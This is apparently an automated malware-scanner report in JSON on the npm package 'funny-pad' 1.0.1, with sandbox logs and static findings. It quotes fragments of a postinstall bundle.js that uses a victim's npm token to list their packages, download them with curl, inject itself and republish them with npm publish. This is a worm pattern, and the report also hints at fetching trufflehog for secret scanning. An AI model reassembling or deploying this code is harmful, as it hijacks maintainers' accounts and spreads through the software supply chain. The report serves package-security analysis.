{"package":"funny-pad","version":"1.0.1","known":true,"status":"error","discovered_at":1790298610793,"has_install_script":true,"report_url":"https://andymal.com/packages/funny-pad/1.0.1","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790369275977,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2559,"lab_ip":"10.77.0.152","hooks":[{"name":"postinstall","command":"node bundle.js","exit":1,"timed_out":false,"seconds":0,"stdout_tail":"\n> funny-pad@1.0.1 postinstall\n> node bundle.js\n\n","stderr_tail":"node:internal/deps/undici/undici:15157\n      Error.captureStackTrace(err);\n            ^\n\nTypeError: fetch failed\n    at node:internal/deps/undici/undici:15157:13\n    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)\n    at async getPackagesByMaintainer (/work/pkg/bundle.js:20:23)\n    at async abuseNPMToken (/work/pkg/bundle.js:76:20) {\n  [cause]: Error: self-signed certificate\n      at TLSSocket.onConnectSecure (node:internal/tls/wrap:1787:34)\n      at TLSSocket.emit (node:events:519:28)\n      at TLSSocket._finishInit (node:internal/tls/wrap:1176:8)\n      at ssl.onhandshakedone (node:internal/tls/wrap:962:12) {\n    code: 'DEPTH_ZERO_SELF_SIGNED_CERT'\n  }\n}\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":0,"stdout_tail":"","stderr_tail":""}],"process_count":6,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node bundle.js","node bundle.js","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":1},{"proto":"socket","ip":"10.77.0.2","port":443,"n":1,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"registry.npmjs.org","n":1}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"funny-pad","version":"1.0.1","description":"A minimalistic npm package that pads strings with funny words","scripts":{"test":"jest","test:coverage":"jest --coverage","postinstall":"node bundle.js"},"install_hooks":{"postinstall":"node bundle.js"},"bin":{},"main":"src/index.js","dependencies":[],"author":"","repository":"git+https://github.com/yourusername/funny-pad.git","license":"MIT","hasInstallScript":true},"files":[{"path":"bundle.js","size":2612,"kind":"text","score":1,"hits":["network_egress","download_execute","code_execution","registry_abuse","reconnaissance"],"role":"entry"},{"path":"package.json","size":681,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":".claude/settings.local.json","size":179,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":2002,"kind":"text","score":0,"hits":[]},{"path":"src/index.js","size":2210,"kind":"text","score":0,"hits":[],"role":"entry"}],"file_count":5,"unpacked_size":7684,"findings":[{"title":"Install hook","detail":"postinstall: node bundle.js","severity":"low","location":"package.json"},{"title":"Network activity","detail":"etPackagesByMaintainer(token) { const username = (await fetch(\"https://registry.npmjs.org/-/whoami\", { headers: {","severity":"medium","location":"bundle.js:20"},{"title":"Network activity","detail":"}).then(res => res.json())).username; return (await fetch(\"https://registry.npmjs.org/-/v1/search?text=maintainer:\"+username).t","severity":"medium","location":"bundle.js:25"},{"title":"Network activity","detail":"Name}/-/${packageName}-${packageVersion}.tgz` execSync(`curl ${tarBallUrl} -o ${packageName}.tgz`) execSync(`tar xzvf","severity":"medium","location":"bundle.js:55"},{"title":"Download-and-execute chain","detail":"ripts.prepublish; delete p.scripts.postpublish; fs.writeFileSync('package/package.json',JSON.stringify(p,null,2)) execSync(\"cp bundle.js package/bundle.js\") execSync(\"cd package && npm publish\") } asy","severity":"critical","location":"bundle.js:68"},{"title":"Executes commands or dynamic code","detail":"const { execSync } = require(\"child_process\"); const os = require(\"os\"); con","severity":"medium","location":"bundle.js:1"},{"title":"Executes commands or dynamic code","detail":"const { execSync } = require(\"child_process\"); const os = require(\"os\"); const fs=require('fs'); funct","severity":"medium","location":"bundle.js:1"},{"title":"Executes commands or dynamic code","detail":"/${packageName}/-/${packageName}-${packageVersion}.tgz` execSync(`curl ${tarBallUrl} -o ${packageName}.tgz`) execSync(`t","severity":"medium","location":"bundle.js:55"},{"title":"Executes commands or dynamic code","detail":"execSync(`curl ${tarBallUrl} -o ${packageName}.tgz`) execSync(`tar xzvf ${packageName}.tgz`) // Updates package.json","severity":"medium","location":"bundle.js:56"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ll,2)) execSync(\"cp bundle.js package/bundle.js\") execSync(\"cd package && npm publish\") } async function abuseNPMToken(token) { var packages","severity":"high","location":"bundle.js:72"},{"title":"System reconnaissance","detail":"require('fs'); function trufflehogUrl() { const plat = os.platform(); if (plat === \"win32\") return \"\"; if (plat === \"lin","severity":"low","location":"bundle.js:6"},{"title":"System reconnaissance","detail":"const username = (await fetch(\"https://registry.npmjs.org/-/whoami\", { headers: { \"Authorization\": \"Bearer","severity":"low","location":"bundle.js:20"},{"title":"Install hook runs a script","detail":"\"test\": \"jest\", \"test:coverage\": \"jest --coverage\", \"postinstall\": \"node bundle.js\" }, \"keywords\": [ \"string\", \"pad\", \"funny\",","severity":"medium","location":"package.json:9"}],"injection_findings":[],"hits":{"network_egress":3,"download_execute":1,"code_execution":5,"registry_abuse":1,"reconnaissance":2,"install_hook_shell":1},"iocs":{"urls":[],"domains":[],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node bundle.js","capability hits: code_execution×5, network_egress×3, reconnaissance×2, download_execute×1, registry_abuse×1, install_hook_shell×1"],"entry_files":["bundle.js","src/index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}